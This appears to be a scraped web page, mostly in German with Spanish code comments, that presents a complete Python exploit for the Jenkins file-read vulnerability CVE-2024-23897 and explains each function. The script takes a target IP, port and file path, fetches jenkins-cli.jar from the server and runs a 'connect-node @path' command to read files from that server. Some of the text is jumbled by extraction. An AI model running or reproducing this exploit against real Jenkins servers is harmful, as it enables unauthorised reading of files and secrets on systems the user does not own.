
Exploit, der Jenkins ausnutzt, geschrieben in Python

Parameter ip , port , path

Ausgabe des Exploits

Hilfspanel
Hier ist die Erklärung des Codes in Markdown:
Dieses Skript wurde entwickelt, um eine spezifische Schwachstelle in Jenkins (CVE-2024-23897) auszunutzen. Es ermöglicht das Herunterladen einer JAR-Datei von einem Jenkins-Server und die Ausführung eines Payloads, um einen Jenkins-Node zu verbinden. Im Folgenden wird jeder Teil des Codes erklärt:
import argparse
import requests
import os
import subprocess
import sys
argparse: Zum Verarbeiten von Befehlszeilenargumenten.requests: Zum Durchführen von HTTP-Anfragen.os: Zur Interaktion mit dem Betriebssystem.subprocess: Zum Ausführen von Systembefehlen.sys: Zur Interaktion mit dem Python-Interpreter.bannerdef banner():
"""
Imprime un banner decorativo para la herramienta.
"""
text = """
______ _______ ____ ___ ____ _ _ ____ _____ ___ ___ _____ _ _ _
/ ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \| ___ / ( _ )/ _ \___ | | | ___ _ __ | | _(_)_ __ ___
| | \ \ / /| _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / / _ | |/ _ \ '_ \| |/ / | '_ \/ __|
| |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ __/ ___) | (_) \__, |/ / | |_| | __/ | | | <| | | | \__|
\____| \_/ |_____| |_____|\___/_____| |_| |_____|____/ \___/ /_//_/ \___/ \___|_| |_|_|\_\_|_| |_|___/
"""
print(text)
Esta función imprime un banner decorativo al inicio del script.
descargar_jardef descargar_jar(ip, puerto):
"""
Descarga el archivo jenkins-cli.jar desde el servidor Jenkins especificado.
Args:
ip (str): Dirección IP del servidor Jenkins.
puerto (str): Puerto del servidor Jenkins.
Returns:
bool: True si la descarga fue exitosa, False en caso contrario.
"""
url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar"
try:
response = requests.get(url)
if response.status_code == 200:
with open('jenkins-cli.jar', 'wb') as archivo_jar:
archivo_jar.write(response.content)
return True
else:
print(f"\n[-] No se pudo descargar el archivo. Código de estado: {response.status_code}")
return False
except requests.RequestException as errorhttp:
print(f"\n[-] Error al realizar la solicitud: {errorhttp}")
return False
Esta función descarga el archivo jenkins-cli.jar desde el servidor Jenkins especificado por la dirección IP y el puerto. Si la descarga es exitosa, guarda el archivo en el sistema y devuelve True; de lo contrario, devuelve False.
attack_payloaddef attack_payload(ip, puerto, ruta):
"""
Ejecuta el payload para conectar un nodo Jenkins.
Args:
ip (str): Dirección IP del servidor Jenkins.
puerto (str): Puerto del servidor Jenkins.
ruta (str): Ruta para leer el archivo.
"""
archivo_jar = "jenkins-cli.jar"
payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}"
try:
subprocess.run(payload, shell=True, check=True)
os.remove(archivo_jar)
except subprocess.CalledProcessError as error_payload:
print(f"\n[-] Error al intentar conectar el nodo: {error_payload}\n")
Esta función ejecuta un comando para conectar un nodo Jenkins utilizando el archivo jenkins-cli.jar. Después de ejecutar el comando, elimina el archivo JAR. Si hay un error en la ejecución, muestra un mensaje de error.
maindef main():
"""
Función principal que analiza los argumentos y ejecuta las funciones correspondientes.
"""
parser = argparse.ArgumentParser(description="\n[+] Exploit para explotar el CVE-2024-23897\n")
parser.add_argument("ip", type=str, help="\n[+] Dirección IP del servidor Jenkins\n")
parser.add_argument("puerto", type=str, help="\n[+] Puerto del servidor de Jenkins\n")
parser.add_argument("ruta", type=str, help="\n[+] Ruta para leer el archivo\n")
args = parser.parse_args()
ip = args.ip
puerto = args.puerto
ruta = args.ruta
banner()
if descargar_jar(ip, puerto):
attack_payload(ip, puerto, ruta)
else:
sys.exit(1)
La función principal del script:
ip, puerto, ruta).banner para imprimir el banner.descargar_jar para descargar el archivo JAR.attack_payload para ejecutar el payload; si no, finaliza el script con un código de salida 1.if __name__ == '__main__':
main()
Dieser Block stellt sicher, dass die Funktion main nur ausgeführt wird, wenn das Skript direkt ausgeführt wird, nicht wenn es als Modul importiert wird.
Dieses Skript ist ein Werkzeug zur Ausnutzung einer Schwachstelle in Jenkins. Es lädt eine JAR-Datei von einem Jenkins-Server herunter und verwendet diese Datei, um einen Payload auszuführen, der einen Jenkins-Node verbindet. Die erforderlichen Argumente (ip, puerto, ruta) werden über die Befehlszeile bereitgestellt.
Hier ist eine Liste der benötigten Bibliotheken zusammen mit den pip install-Befehlen für jede:
argparse: Diese Bibliothek ist in der Python-Standardbibliothek enthalten, daher muss sie nicht installiert werden.
requests: Für HTTP-Anfragen.
pip install requests
os: Diese Bibliothek ist in der Python-Standardbibliothek enthalten, daher muss sie nicht installiert werden.
subprocess: Diese Bibliothek ist in der Python-Standardbibliothek enthalten, daher muss sie nicht installiert werden.
sys: Diese Bibliothek ist in der Python-Standardbibliothek enthalten, daher muss sie nicht installiert werden.
pip install requests
@/pfad/zur/datei enthält.@/pfad/zur/datei und ersetzt dieses Argument durch den Inhalt der angegebenen Datei.Das Aktualisieren und richtige Konfigurieren von Jenkins ist entscheidend, um das System vor dieser Schwachstelle zu schützen.
